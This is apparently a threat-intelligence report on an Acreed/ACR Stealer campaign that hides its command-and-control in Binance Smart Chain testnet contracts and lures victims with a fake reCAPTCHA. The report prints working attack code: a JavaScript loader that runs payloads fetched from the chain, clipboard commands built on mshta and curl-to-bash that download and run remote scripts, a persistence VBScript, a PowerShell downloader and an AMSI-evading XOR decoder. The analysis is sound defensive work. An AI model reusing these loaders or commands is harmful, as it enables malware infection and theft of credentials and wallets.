Table of contents
- 1 Executive Summary
- 2 Introduction: Smart Contracts on EVM-Compatible Chains
- 3 Abusing Smart Contracts on Compromised Websites
- 4 Deep Dive: Infection Chain & C2
- 4.1 Introduction and Summary
- 4.2 Initial Infection Vector
- 4.3 Stage 1: The Loader
- 4.4 Stage 2: OS Detection and Payload Differentiation
- 4.5 Stage 3: Social Engineering and Final Payload
- 4.6 Use of Blockchain for C2 and Victim Tracking
- 4.7 Post-Exploitation: Stage 4: Windows Infection Chain
- 4.7.1 HTA Execution and VBScript Loader (Stage 4.1)
- 4.7.2 Persistence and PowerShell Loader (Stage 4.2)
- 4.7.3 Multi-Layered PowerShell Execution (Stage 4.3)
- 4.7.4 DGA-Based Downloader (Stage 4.4)
- 4.7.5 Final PowerShell Dropper and XOR Decoder (Stage 4.5)
- 4.7.6 PureCrypter Loader and ACR Stealer (Final Payload)
- 4.7.7 ACR Stealer C2 Protocol and Tasking Analysis
- 4.7.8 ACR Stealer Secondary Payloads
- 4.8 Stage 4, Post-Exploitation: macOS Infection Chain
- 4.9 Attribution and Links to the Acreed Infostealer
- 4.10 Conclusion
- 5 Appendix
- 6 IOCs
- 7 Yara Rules
- References
1 Executive Summary
This report details a recent, sophisticated, cross-platform malware campaign attributed to the threat actor behind the Acreed infostealer. The campaign demonstrates a significant evolution in the actor’s tactics, combining a novel, resilient Command and Control (C2) architecture with distinct, feature-rich infection chains for both Windows and macOS.
Key findings include:
-
Hybrid C2 Architecture: The actor leverages the Binance Smart Chain (BSC) testnet for initial payload delivery and victim tracking—a technique known as “EtherHiding”—making the C2 infrastructure highly resistant to takedowns. For post-exploitation, the malware pivots to a traditional, encrypted HTTP-based C2 for granular tasking.
-
Cross-Platform Payloads: After a unified social engineering lure involving a fake reCAPTCHA, the infection chain diverges.
- Windows: A complex, fileless chain involving VBScript and multiple PowerShell layers deploys the ACR Stealer. This stealer is then tasked to load secondary malware, including the Amadey botnet client and a custom Go-based Discord token stealer.
- macOS: A native Mach-O dropper executes a comprehensive AppleScript-based stealer, which we have definitively identified as a variant of the Mac.c stealer. For persistence, it trojanizes legitimate cryptocurrency wallet applications like Ledger Live, replacing them with phishing versions.
-
Attribution: On-chain transactional analysis confirms that the same actor from the September 2025 Intrinsec report is behind this campaign, revealing a clear rotation of their on-chain infrastructure. This analysis provides the first public documentation of the ACR Stealer’s C2 configuration format and a definitive identification of the Mac.c stealer in the macOS chain.
2 Introduction: Smart Contracts on EVM-Compatible Chains
This document presents a case study observed by our CSIRT, detailing the malicious use of smart contracts by a threat actor. To provide the necessary context for this deep-dive analysis, this introductory section offers a brief technical recap of how blockchain technology and smart contracts on Ethereum Virtual Machine (EVM) compatible chains, such as the Binance Smart Chain (BSC), function.
2.1 The Blockchain Structure: Blocks and State
At its core, a blockchain is a distributed, immutable ledger. The fundamental unit of this ledger is a block, which is a data structure containing a collection of transactions. Each block is cryptographically linked to its predecessor, forming a chronological and unbroken “chain.” This linkage is achieved by including the hash of the parent block within the new block’s header.
The state of the blockchain is a snapshot of all account balances and smart contract data at a given point in time. Each new block of transactions updates this state. Because each block is validated and linked by a network of decentralized nodes, altering past transactions is computationally infeasible, guaranteeing the ledger’s integrity.
2.2 Accounts: EOAs and Contracts
The EVM distinguishes between two primary types of accounts, both identified by a unique address:
-
Externally Owned Accounts (EOAs): These are the accounts controlled by users via private keys. An EOA can initiate transactions to transfer the native currency (e.g., ETH, BNB) or to interact with smart contracts. They are “external” because their actions are initiated from outside the blockchain network itself.
-
Contract Accounts: These accounts are controlled by the code they contain—a smart contract. Unlike EOAs, they do not have a private key. A smart contract’s code executes automatically when it receives a transaction from an EOA or another contract. This code can read and write to its own persistent storage, read the state of other contracts, and send transactions to other accounts.
2.3 The Ethereum Virtual Machine (EVM)
The EVM is the sandboxed runtime environment where all smart contract code is executed. It is a quasi-Turing-complete state machine, meaning it can compute anything, given enough resources. The “fuel” for these computations is gas, a unit that measures the computational cost of an operation.
When a transaction triggers a smart contract’s function, every node on the network executes the same code within its EVM instance. This deterministic execution ensures that all nodes reach the same resulting state, maintaining consensus across the network. The gas mechanism prevents infinite loops and allocates resources fairly, as the transaction initiator must pay for the computational work performed.
2.4 Transactions: The Engine of Interaction
A transaction is a cryptographically signed instruction from an EOA. When directed at a smart contract, a transaction typically contains three key components:
- Recipient: The address of the smart contract.
- Value: The amount of native currency to send (can be zero).
- Data: A payload specifying which function of the smart contract to execute and the arguments to pass to that function. This data is encoded according to the Application Binary Interface (ABI) of the contract.
When a node receives this transaction, it passes the data payload to the EVM, which then executes the corresponding function in the target contract. This execution can alter the contract’s internal storage, effectively writing data to the blockchain.
2.5 RPC Endpoints: The Gateway to the Blockchain
Direct interaction with the blockchain nodes is complex. Remote Procedure Call (RPC) endpoints serve as a standardized interface for this communication. They are URLs provided by node operators (e.g., Infura, Ankr, or private nodes) that expose the JSON-RPC API.
Users and applications can send requests to these endpoints to:
- Read Data: Query account balances, read data from smart contract storage (
eth_call), or get block information (eth_getBlockByNumber). This is a read-only operation and does not cost gas. - Write Data: Broadcast a signed transaction to the network (
eth_sendRawTransaction) to execute a function that changes the state.
Crucially, anyone with access to an RPC endpoint for a public network can freely read any data stored on-chain, as long as they know the smart contract’s address and how to query it. “Knowing how to query” requires understanding the contract’s Application Binary Interface (ABI). Function names and argument types are not stored on-chain in a human-readable format. Instead, a function is called using a unique selector derived from the hash of its signature. If the contract’s source code is not publicly verified on a block explorer, an analyst must reverse-engineer the EVM bytecode to deduce these function signatures and learn how to interact with the contract.
2.6 Testnets and Faucets: A Zero-Cost Environment
Blockchains like Ethereum and BSC operate parallel networks known as testnets. These are functionally identical to the main network (“mainnet”) but are used exclusively for development and testing. The native currency on a testnet (e.g., Sepolia ETH, BSC Testnet BNB) has no real-world monetary value.
This currency can be obtained for free from services called faucets, which are websites that distribute small amounts of testnet coins to any user who requests them. This makes testnets highly attractive for attackers. Since all transactions, including contract deployment and state changes, require gas, a testnet provides a perfect, zero-cost operational environment. Attackers can acquire all the necessary gas from a faucet and run their entire infrastructure without any financial outlay.
3 Abusing Smart Contracts on Compromised Websites
The architecture of public blockchains, while designed for transparency and decentralization, presents unique opportunities for attackers. When a website is compromised, attackers can leverage smart contracts as a covert and resilient backend for their operations.
3.1 Covert Data Storage and Detection Evasion
Traditional security tools scan a website’s file system and databases for malicious code, signatures, and suspicious configuration files (e.g., C2 server URLs, encryption keys). By storing this information within a smart contract on a public blockchain—a technique known as EtherHiding—attackers can evade such detection mechanisms.
- Off-site Storage: The malicious configuration is not stored on the compromised server. The infected website code contains only an innocuous-looking smart contract address and an RPC endpoint URL.
- On-the-fly Retrieval: The malware running on the site (e.g., a JavaScript payload) makes an RPC call (
eth_call) to the smart contract to fetch its configuration. This request to a public RPC endpoint can blend in with legitimate traffic and is less likely to be blocked than a request to a known malicious domain. The data retrieved can be anything from a new malicious script to inject, a list of target domains, or encryption keys.
3.2 A Resilient and Updatable C2 Mechanism
A Command and Control (C2) server is a critical point of failure for attackers. If it’s taken down, the malware can no longer be updated. A smart contract provides a decentralized and censorship-resistant alternative.
- Persistence: As long as the blockchain exists, the smart contract remains available. It cannot be taken down by a single entity.
- Dynamic Updates: The attacker, controlling the EOA that deployed the contract, can send a new transaction to update the stored data at any time. This allows them to change the malware’s behavior, update target lists, or rotate domains across their entire network of compromised sites with a single blockchain transaction.
3.3 Data Exfiltration
While less common due to transaction costs, smart contracts can also be used for data exfiltration. Information stolen from a website visitor (e.g., form data) can be encoded and submitted as input to a smart contract function. The data is then permanently recorded on the blockchain, retrievable at any time by the attacker. Using a testnet, where the native currency is free, makes this a cost-effective channel.
4 Deep Dive: Infection Chain & C2
4.1 Introduction and Summary
This analysis details a multi-stage, cross-platform malware campaign attributed to the threat actor behind the Acreed infostealer, as previously documented by Intrinsec. Our investigation examines the most recent campaign that, while utilizing the same core malware, employs a more intricate delivery mechanism and post-exploitation framework than previously documented. This report builds upon the findings of the September 2025 Intrinsec report [1], “Analysis of Acreed, a rising infostealer,” by providing a complete, end-to-end analysis of the most recent infection chain and identifying payloads and techniques not covered in the prior research.
Key findings that expand upon the existing public knowledge of this threat actor include:
-
Complete Infection Chain Mapping: We document the full attack sequence, starting from the compromised website and the fake reCAPTCHA social engineering lure, through the multi-stage loaders, to the final payload execution.
-
Hybrid C2 Architecture: We reveal a sophisticated hybrid C2 model. The actor uses the Binance Smart Chain (BSC) testnet for resilient initial payload delivery and victim tracking, then pivots to a traditional, encrypted HTTP-based protocol for granular post-exploitation tasking of the final stealer.
-
First Public Documentation of the Acreed C2 Configuration Format: We provide the first detailed analysis of the final stealer’s JSON-based configuration format, revealing a modular system for data theft and secondary payload execution. A Python script to retrieve this configuration and a full reference table are provided in the appendix (see Section 5.1 and Section 5.2).
-
Analysis of Secondary Payloads: We detail the subsequent malware deployed by the ACR Stealer via its loader module, including the Amadey botnet client and a targeted Go-based Discord token stealer. This reveals the broader scope of the attacker’s objectives beyond the initial information theft performed by the stealer itself.
-
Final Payload Identification and Analysis: The final-stage payloads have been identified and analyzed for both operating systems. The Windows chain deploys the ACR Stealer via the PureCrypter [2] loader. The macOS chain uses a comprehensive, custom AppleScript-based information stealer.
-
Full Analysis of the macOS Attack Chain: We provide a detailed breakdown of the macOS infection chain, including the functionality of the native dropper, the extensive data collection capabilities of the AppleScript stealer, and its persistence mechanism, which involves trojanizing legitimate cryptocurrency wallet applications.
-
Detailed Attribution of the macOS Payload: The final AppleScript payload is definitively identified as a variant of the Mac.c stealer [3], correcting generic or erroneous detections from public threat intelligence platforms.
-
Reinforced Attribution via On-Chain Analysis: Through on-chain transactional analysis, we establish a direct operational and infrastructural link between the wallet addresses used in this campaign and those previously attributed to the Acreed threat actor, confirming this is a continuation of their operations.
4.2 Initial Infection Vector
The infection chain originates from compromised websites. The site www[.]samuelorige[.]com[.]br is one such example observed during our investigation. The threat actor primarily targets WordPress sites, injecting a malicious script tag near the beginning of the site’s main HTML document. The script uses a data: URI with base64 encoded JavaScript to start the infection chain.
These compromised sites can be identified by searching for WordPress installations that initiate unusual connections to public Binance Smart Chain (BSC) testnet RPC endpoints upon loading.
<script
src="data:text/javascript;base64,ZnVuY3Rpb24gXzB4NWU0MChfMHg0Y...">
</script>
4.3 Stage 1: The Loader
After deobfuscation, the initial script reveals a loader function that queries the Binance Smart Chain (BSC) testnet.
4.3.1 Loader Functionality
The core of this stage is the load_ function. Its purpose is to fetch the next stage payload, which is stored on-chain in a smart contract.
-
Blockchain Query: It performs an
eth_callJSON-RPC request to a public BSC testnet node. The call targets the smart contract at address0xA1decFB75C8C0CA28C10517ce56B710baf727d2e. Thedatafield0x6d4ce63cis a function selector that corresponds to a function for retrieving the stored string data. -
Data Parsing: The smart contract returns a hex-encoded string. The script parses this string to extract the actual payload. The first 32 bytes represent the offset, the next block of bytes represents the payload length, and the final block is the base64-encoded payload itself.
-
Execution: The extracted base64 string is decoded using
atob()and then executed viaeval(). This dynamic execution allows the attacker to easily update the next stage without having to modify the script on the compromised website.
async function load_(_0x3f5669) {
// ... helper function to convert Uint8Array to hex string ...
const _0x3d496e = {
method: 'eth_call',
params: [
{
to: _0x3f5669, // The smart contract address
data: '0x6d4ce63c', // Function selector to get data
},
'latest',
],
id: 97,
jsonrpc: '2.0',
},
_0x518fe1 = {
method: 'POST',
headers: { /* ... */ },
body: JSON.stringify(_0x3d496e),
},
_0x32b6dc = 'https://bsc-testnet[.]bnbchain[.]org/',
_0xe50fb1 = await fetch(_0x32b6dc, _0x518fe1)
// ... code to parse the result from the fetch request ...
// The result is a long hex string, which is parsed here
const _0x11af20 = (await _0xe50fb1.json()).result.slice(2),
_0x2e7d22 = new Uint8Array( /* ... parsing logic ... */ ),
_0x34326a = Number(/* ... get offset ... */),
_0x7b245b = Number(/* ... get length ... */),
_0x3e9110 = String.fromCharCode.apply(
null,
_0x2e7d22.slice(32 + _0x34326a, 32 + _0x34326a + _0x7b245b)
)
return _0x3e9110 // This is the base64-encoded payload
}
load_('0xA1decFB75C8C0CA28C10517ce56B710baf727d2e')
.then((_0x1538ec) => eval(atob(_0x1538ec)))
.catch(() => {})
4.4 Stage 2: OS Detection and Payload Differentiation
The payload retrieved and executed from the first smart contract is a second-stage loader. Its primary function is to detect the user’s operating system and fetch a platform-specific final payload.
Detection is performed by checking navigator.userAgent, navigator.platform, and navigator.userAgentData. Based on the result, it calls the same load_ function again, but with a different smart contract address for Windows and macOS victims.
- Windows Contract:
0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383Ff - macOS Contract:
0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5
// ... previously defined load_ function ...
const isWindows = navigator.userAgent.includes("Windows") ||
navigator.platform.startsWith("Win") ||
navigator.userAgentData?.platform === "Windows";
const isMac = navigator.userAgent.includes("Macintosh") ||
navigator.platform.startsWith("Mac") ||
navigator.userAgentData?.platform === "macOS";
if (isWindows) {
load_("0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383Ff");
} else if (isMac) {
load_("0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5");
}
4.5 Stage 3: Social Engineering and Final Payload
The final payloads for both Windows and macOS are nearly identical in their social engineering approach. They both display a fake reCAPTCHA element to trick the user into executing a malicious command.
4.5.1 Common Functionality: The Fake reCAPTCHA
The script dynamically creates a convincing, but fake, “I’m not a robot” reCAPTCHA box.
-
UI Creation: It injects HTML and CSS to create the CAPTCHA element and an instruction window, which is initially hidden. The entire page is blurred and overlaid to focus the user’s attention.
-
User Interaction: When the user clicks the checkbox, an animation is triggered. The checkbox transforms into a loading spinner.
-
Instruction Popup: After a short delay, a new window appears next to the CAPTCHA, instructing the user to perform a series of actions to “verify” they are not a robot.
-
Clipboard Hijacking: Crucially, while this UI is displayed, the script silently copies a malicious command into the user’s clipboard using
document.execCommand('copy').
4.5.2 Windows Payload
For Windows users, the instructions are designed to have them execute the clipboard content via the “Run” dialog.
-
Instructions: Press
Win + R, thenCtrl + V, and finallyEnter. -
Command: The command copied to the clipboard is:
mshta hxxps://n3[.]p9a0k[.]ru/q7p[.]check?t=<USR_ID> -
Execution:
mshta.exeis a legitimate Windows utility used to execute.hta(HTML Application) files. In this case, it is used as a LOLBin (Living Off the Land Binary) to download and execute a remote script from the attacker’s C2 server. The user’s unique ID (usr_id) is passed as a parameter for tracking.
The script obfuscates the C2 domain using base64 and a custom string manipulation function. The variable dmn holds the encoded domain, which is regularly updated by the attacker via new transactions to the smart contract.
// Part of the Windows payload's inner script
let dmn = 'M24vLzpzcHR0aC5rMGE5cC5wN3EvdXIuY2hlY2s='; // atob -> 3n//:sptth.k0a9p.p7q/ur.check
// ...
commandToRun =
'mshta ' +
((_0x1ab8b3) =>
_0x1ab8b3
.split('.')
.map((_0x414669, _0x2a488d) =>
_0x2a488d === _0x1ab8b3.split('.').length - 1
? _0x414669 // keep last part
: _0x414669.split('').reverse().join('') // reverse other parts
)
.join('.'))(atob(dmn)) + // decodes and reverses to form the URL
'?t=' +
usr_id;
4.5.3 macOS Payload
For macOS users, the social engineering is the same, but the command is tailored for a Unix-like environment.
-
Instructions: The visual instructions are the same, although they are less effective on macOS where the
Win + Rshortcut does not exist. The attack relies on the user manually opening a terminal. -
Command: The command copied to the clipboard is:
/bin/bash -c "$(curl -A 'Mac OS X 10_15_7' -fsSL 'hxxps://n3[.]p9a0k[.]ru/q7p[.]check?t=<USR_ID>'); echo ""BotGuard: Answer the protector challenge. Ref: 59155 -
Execution: This command uses
curlto download a script from the same C2 domain as the Windows version and pipes it directly intobashfor execution.
4.6 Use of Blockchain for C2 and Victim Tracking
A novel aspect of this malware is its use of public blockchain infrastructure for command-and-control (C2) and victim tracking. This makes the C2 infrastructure highly resilient and difficult to disrupt.
4.6.1 Payload Storage and Rotation
As demonstrated in Stages 1 and 2, the actual malicious payloads are not on the compromised server. Instead, they are stored as strings within smart contracts on the BSC testnet. The attacker can update the payload (specifically, the C2 domain in the dmn variable) by simply sending a transaction to the smart contract to update its state. Transactional analysis shows that the C2 domains are updated approximately every 10 minutes, ensuring high operational resilience. The script provided in the appendix (see Section 5.3) can be used to retrieve all historical C2 domains from these transactions via the Etherscan API. The high number of transactions on these contracts confirms this is an active and evolving campaign.
4.6.2 Victim Tracking
The final payloads include an isGoalReached(usr_id) function. This function does not communicate with a traditional web server but instead queries a separate smart contract at 0xf4a3...832A.
The decompiled code for this contract reveals a simple key-value store. It uses a mapping to store user IDs.
check(bytes)(0x24513bb6): This function checks if a givenusr_idexists in the mapping. It returns “yes” or “no”.add(bytes)(0x5c61fc2c): This function adds ausr_idto the mapping.remove(bytes)(0xee8f6031): This function removes ausr_idfrom the mapping.
pragma solidity ^0.8.12;
/**
* @title UUIDManager (Reconstructed)
* @notice This contract acts as a simple on-chain database or set to track the
* existence of unique identifiers (referred to as UUIDs in the error messages).
* It allows for adding, removing, and checking the existence of byte strings.
*
* This contract was reconstructed from low-level decompiled bytecode. The original
* function names were inferred from common function selectors and the contract's logic.
*/
contract UUIDManager {
// A mapping to store whether a given UUID (represented by its hash) exists.
// Using the hash of the bytes data saves gas and handles dynamic data sizes.
mapping(bytes32 => bool) private uuidExists;
/**
* @notice Adds a new UUID to the tracking set.
* @dev Reverts if the UUID already exists to ensure uniqueness.
* @param _uuid The unique identifier to add.
*/
function add(bytes memory _uuid) public {
bytes32 uuidHash = keccak256(_uuid);
require(!uuidExists[uuidHash], "UUID already exists");
uuidExists[uuidHash] = true;
}
/**
* @notice Removes a UUID from the tracking set.
* @dev Reverts if the UUID does not exist.
* @param _uuid The unique identifier to remove.
*/
function remove(bytes memory _uuid) public {
bytes32 uuidHash = keccak256(_uuid);
require(uuidExists[uuidHash], "UUID not found");
uuidExists[uuidHash] = false;
}
/**
* @notice Checks if a UUID exists in the set.
* @param _uuid The unique identifier to check.
* @return A string, "yes" if it exists, "no" otherwise.
*/
function check(bytes memory _uuid) public view returns (string memory) {
bytes32 uuidHash = keccak256(_uuid);
if (uuidExists[uuidHash]) {
return "yes";
} else {
return "no";
}
}
}
The malware uses this contract to track victims. Before displaying the fake reCAPTCHA, it calls isGoalReached (which in turn calls the check function on the contract). If the function returns true (meaning the user’s ID is already in the contract), the fake CAPTCHA is not shown. This is a mechanism to prevent re-infecting a user or showing the lure to someone who has already completed the steps. We have confirmed that a victim’s ID is added to the smart contract via the add function as soon as the C2 server successfully serves the final payload for their platform (e.g., the .hta file for Windows). If the download is blocked (e.g., due to an incorrect User-Agent), the ID is not added. This indicates that the transaction count on the victim tracking contract serves as a reliable proxy for the number of successfully delivered infections.
// isGoalReached function from the final payload
async function isGoalReached(e) { // 'e' is the usr_id
// ... constructs an eth_call payload ...
// The 'data' payload is constructed with the function selector 0x24513bb6
// and the user's ID to check if they are already tracked.
(start =
"0x24513bb6000..."),
// It calls the tracking smart contract
(address = "0xf4a32588b50a59a82fbA148d436081A48d80832A"),
// ... sends the request and parses the response ...
// returns true if the contract returns "yes"
return "yes" == (value = String.fromCharCode.apply(
null,
unhexed.slice(32 + offset, 32 + offset + len)
))
}
4.7 Post-Exploitation: Stage 4: Windows Infection Chain
The command executed via mshta.exe initiates the final, multi-stage delivery of the ultimate payload. This phase is executed entirely on the victim’s machine and involves multiple layers of VBScript and PowerShell deobfuscation, culminating in the execution of an information stealer.
4.7.1 HTA Execution and VBScript Loader (Stage 4.1)
The URL invoked by mshta.exe serves an HTML Application (.hta) file. This file contains minimal HTML and a large, obfuscated VBScript payload.
-
Execution Environment: The script immediately hides its execution window using
window.resizeTo 0,0and suppresses errors withwindow.onerror. The main logic starts with theAutoOpensubroutine, which executes the script and then callsCloseto terminate the invisible window. -
First-Layer Decoder: The script’s primary purpose is to decode and execute another VBScript payload. The core of this decoding is the
CoesEnfunction, which uses theMsxml2.DOMDocument.3.0COM object to perform the Base64 conversion:
Function CoesEn(ByVal vCode)
Dim TloaIaieHr, SrlbIaptLratNribr
'// Strings are obfuscated via a hex-to-char function
Set TloaIaieHr = CreateObject("Msxml2.DOMDocument.3.0")
Set SrlbIaptLratNribr = TloaIaieHr.CreateElement("base64")
SrlbIaptLratNribr.DataType = "bin.base64"
SrlbIaptLratNribr.Text = vCode
CoesEn = EunaRucySem(SrlbIaptLratNribr.nodeTypedValue)
'// EunaRucySem converts the binary data to a usable string
'// via an ADODB.Recordset object.
Set SrlbIaptLratNribr = Nothing
Set TloaIaieHr = Nothing
End Function
After a brief delay loop for sandbox evasion, the decoded VBScript is executed using ExecuteGlobal.
4.7.2 Persistence and PowerShell Loader (Stage 4.2)
The second-layer VBScript payload establishes persistence and executes the next stage. Persistence is achieved by creating a Scheduled Task using the Schedule.Service COM object, as shown in the UebmLgob_unmTut subroutine:
Sub UebmLgob_unmTut(ApgnMtscAiaiLsit)
'// ... (COM object creation) ...
Set TmimOtdcIon = CreateObject("Schedule.Service")
Call TmimOtdcIon.Connect
Set BieiKupnHerio = TmimOtdcIon.GetFolder("\")
Set RafaRmi = TmimOtdcIon.NewTask(0)
'// ... (Task configuration) ...
'// Create a trigger to run the task once, 1 second from now.
Set IrhsOcriNrptGacas = RafaRmi.triggers
Set UcbaLislCigrUdns = IrhsOcriNrptGacas.Create(1) ' 1 = Time-based trigger
UcbaLislCigrUdns.StartBoundary = TihsEio(DateAdd("s", 1, Now))
'// Set the action to run the decoded command.
Set NdtiEistUb = RafaRmi.Actions.Create(0) ' 0 = Execute action
NdtiEistUb.Path = Split(ApgnMtscAiaiLsit, " ")(0)
NdtiEistUb.Arguments = IcegScoe(ApgnMtscAiaiLsit)
'// Register the task.
Call BieiKupnHerio.RegisterTaskDefinition("serviceenj", RafaRmi, 6, , , 3)
End Sub
The action for the task is a Base64-encoded PowerShell command, which is decoded and executed by the Task Scheduler Engine (taskeng.exe), decoupling it from the initial mshta.exe process tree.
4.7.3 Multi-Layered PowerShell Execution (Stage 4.3)
The command executed by the scheduled task is a PowerShell script that uses the -EncodedCommand (-EN) parameter. This is the first of several nested PowerShell stages. The decoded script uses an array of Base64 strings which are joined and then executed in memory:
# Stage 4.3.1 - The decoded command
$fuiryc=@('JGNmYjEgPSAtam9pbigoNjUuL...', 'gfCAle1tjaGFyXSRffSk7JHB...');
# Join array, decode Base64, convert to string
$lteokxbfmnj = -join $fuiryc;
$huxktsliq = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($lteokxbfmnj));
# Execute the resulting script in memory
$ExecutionContext.InvokeCommand.InvokeScript($huxktsliq)
This multi-layer wrapping is designed to evade static analysis and signature-based detection.
4.7.4 DGA-Based Downloader (Stage 4.4)
The script from the previous stage is a downloader that fetches the next payload from a C2 server using a dynamically generated URL. The downloader generates a random subdomain and constructs a full command line to be executed in a new, hidden PowerShell process:
# Generate a random 4-character subdomain string
$cfb1 = -join((65..90) + (97..122) | Get-Random -Count 4 | %{[char]$_});
# Construct the command to download and execute payload from the DGA URL
$psi.Arguments = "-nOpRoFiLe ... -cOmMaNd `"SV b ([Net.WebClient]::New());`
`Set-Item Variable:/A6 'https://$cfb1.ba5eq.ru/effc16a562b273f0bb5c3e1e41a06a77';`
`.(Get-Command In*ssi*) ...`"";
# Start a new hidden PowerShell process to run the command
[System.Diagnostics.Process]::Start($psi);
This use of a Domain Generation Algorithm (DGA) makes blocking the C2 via domain name more difficult. The script also uses reflection to find and invoke the DownloadString method, avoiding direct use of the command name to evade detection.
4.7.5 Final PowerShell Dropper and XOR Decoder (Stage 4.5)
The downloaded file is a large ( 8MB) PowerShell script, padded with junk code to hinder analysis. Its sole purpose is to decode and execute the final payload. This is accomplished via an XOR decoding process.
The obfuscated execution logic is heavily reliant on variables defined earlier in the large script:
# Obfuscated execution logic
$KMzSiPAO = ($KPbtmVUA -as [Type])::$lzyMhoPFLHYTKX.$UEZdPpOsRIQGr("$estrif");
$UjLKzPaeBuiqc = ($KPbtmVUA -as [Type])::$lzyMhoPFLHYTKX.$UEZdPpOsRIQGr(...);
(($HBThrNM -as [Type])::($xuaSYMndFleb)((($KPbtmVUA ... $(for(...) ...))))).($PQLqkVxIH)()
By resolving the variables, the script’s function becomes clear. It defines the payload and the XOR key, decodes the payload, and executes it.
# Deobfuscated logic with resolved variable values
# 1. Define the XOR key
$KMzSiPAO = [System.Text.Encoding]::UTF8.GetBytes("AMSI_RESULT_NOT_DETECTED");
# 2. Get the encoded payload from the large $jsdelivr variable
$UjLKzPaeBuiqc = [System.Text.Encoding]::UTF8.GetBytes(
[System.Text.Encoding]::UTF8.GetString(
[System.Convert]::FromBase64String(
[System.Text.Encoding]::UTF8.GetString($jsdelivr)
)
)
);
# 3. Perform rolling XOR decode and create a script block
$decodedScriptBlock = [ScriptBlock]::Create(
[System.Text.Encoding]::UTF8.GetString(
$(
# Rolling XOR loop
for($5f=0; $5f -lt $UjLKzPaeBuiqc.length;){
for($4d=0; $4d -lt $KMzSiPAO.length; $4d++){
$UjLKzPaeBuiqc[$5f] = $UjLKzPaeBuiqc[$5f] -bxor $KMzSiPAO[$4d];
$5f++;
if($5f -ge $UjLKzPaeBuiqc.length){ $4d = $KMzSiPAO.length }
}
}
# The result of this loop is the decoded byte array
$UjLKzPaeBuiqc
)
)
);
# 4. Invoke the script block to execute the .NET loader in memory
$decodedScriptBlock.Invoke()
4.7.6 PureCrypter Loader and ACR Stealer (Final Payload)
The .NET executable (f75bc578269b2286c78a711a0cc932ba6b57e1e2642b883847400c44c8bb57f5) revealed by the XOR decoding is not the final payload, but a loader. Static analysis of this MSIL executable with tools, including Malcat [4], identified it as PureCrypter [2], a known malware loader used to pack and obfuscate malware.
To retrieve the ultimate payload, the PureCrypter loader was executed in a controlled sandbox environment. During its execution, the loader unpacked and injected a second-stage payload into memory. This final payload was successfully dumped from the sandboxed process for analysis.
Subsequent analysis of the dumped binary, using both Malcat [4] and manual inspection, confirmed its identity as ACR Stealer, an information-stealing malware as shown in Figure 1.
Static analysis of the final ACR Stealer payload reveals the hardcoded domain aether100pronotification.table.core.windows.net. However, this is a deliberate deception technique designed to mislead security analysts and automated sandboxes. This domain is associated with the legitimate security vendor WatchGuard, and its presence is intended to make C2 traffic appear benign. As shown in Figure 2, automated sandbox reports can be easily misled, attributing the malware’s network activity to a legitimate service. This masquerading TTP has been previously reported in connection with Acreed by AhnLab [5].
The true C2 domain is stored within the binary as an obfuscated string, which is deobfuscated at runtime via a simple XOR cipher. The following section details the full C2 communication protocol, which begins after this real domain is resolved.
4.7.7 ACR Stealer C2 Protocol and Tasking Analysis
Upon execution, the ACR Stealer uses its embedded configuration parameters—the C2 server, GUID, and encryption keys—to initiate a secondary, more granular C2 communication. This protocol is responsible for retrieving the final set of operational tasks. A Python script capable of replicating this entire communication flow and decoding the final configuration is available in the appendix (see Section 5.1).
4.7.7.1 C2 Communication Protocol
The stealer’s C2 protocol is a multi-step handshake designed for resilience and evasion. All data exchanged is protected by multiple layers of encryption (AES-256-CBC) and obfuscation (Base64, XOR). Decompilation of the malware binary reveals that the initial handshake retrieves not just a single endpoint, but a full map of dynamic paths for different C2 functions, including configuration, data exfiltration, and error reporting.
-
Endpoint Discovery: The malware first sends a POST request containing an encrypted
{"Command": "GetEndpoints"}payload to the C2 server’s root directory. The server responds with an encrypted JSON object. Once decrypted, this object contains a map where each key corresponds to a specific malware function, and the value is the dynamic URL path for that function. This ensures that all C2 endpoints are non-static and harder to block.The following table, derived from decompiled code analysis, maps the JSON keys to their respective functions:
Key Purpose cConfiguration: The endpoint for retrieving the main tasking JSON config. pProfile: The endpoint for exfiltrating the initial system profile/reconnaissance data. bBrowser: The endpoint for exfiltrating stolen data from browsers. w,m,o,gData Exfiltration: Endpoints for exfiltrating stolen data from Wallets, Messaging clients, Other software, and the general file Grabber, respectively. fFile: The primary endpoint used for exfiltrating zipped archives of stolen files. errError: The endpoint for reporting runtime errors back to the C2 server for telemetry. a,tPurpose unconfirmed in this sample, but are parsed and stored by the malware. -
Configuration Retrieval: Using the path retrieved for the
"c"key, the malware sends a second POST request. The body contains an encrypted JSON object with the malware’s hardcoded campaign ID:{"Id": "08de0189-4e5e-477f-8700-1cd264a45266"}. The server’s response, once fully decrypted, is the final JSON configuration file. -
Data Exfiltration and Reporting: After performing its data theft tasks, the malware exfiltrates the collected information. It sends separate POST requests for each category of stolen data to the corresponding dynamic endpoint retrieved in step 1 (e.g., browser data to path
b, system profile to pathp). This categorized approach allows the C2 server to easily sort and process incoming victim data.
4.7.7.2 Configuration Format and Capabilities
The decrypted JSON object is a comprehensive instruction set that dictates the malware’s data theft and payload execution behavior. This report provides the first public documentation of this configuration format; a complete reference table detailing every key is available in the appendix (see Section 5.2).
The configuration reveals a highly modular design, with tasks organized by top-level keys:
-
Browser and Extension Stealing (
b,exW,exP,exG): These sections contain detailed targets for data theft from over 30 browsers and more than 140 distinct cryptocurrency wallet extensions. For Chromium-based browsers, the malware uses process hollowing to inject code into the legitimate browser process, allowing it to decrypt sensitive data like cookies and credentials. -
Application and File Stealing (
sW,sM,sO,g): These tasks define targets for stealing files from specific software, including desktop crypto wallets (sW), messaging clients like Telegram and Signal (sM), and other applications like FTP clients and VPNs (sO). A general-purpose file grabber (g) is also configured to search user directories (Desktop, Documents) for files containing keywords like “wallet,” “seed,” “private,” and “2fa.” -
Payload Loading (
ld): This module instructs the malware to download and execute additional payloads. It supports a flexible, dual-mode strategy controlled by two keys:tr(Type Run) andtf(Type File).- In-Memory Execution (
tr: 2): Used in the sample configuration, this mode executes payloads without writing them to disk. It supports PowerShellIEX(DownloadString)for scripts (tf: 4) and process hollowing intorundll32.exefor binary payloads (tf: 5). - Drop-and-Execute (
tr: 1): This mode saves the payload to disk before execution. Thetfkey determines the file extension (.exe,.ps1, etc.) and the corresponding execution method.
- In-Memory Execution (
-
Unused String Table (
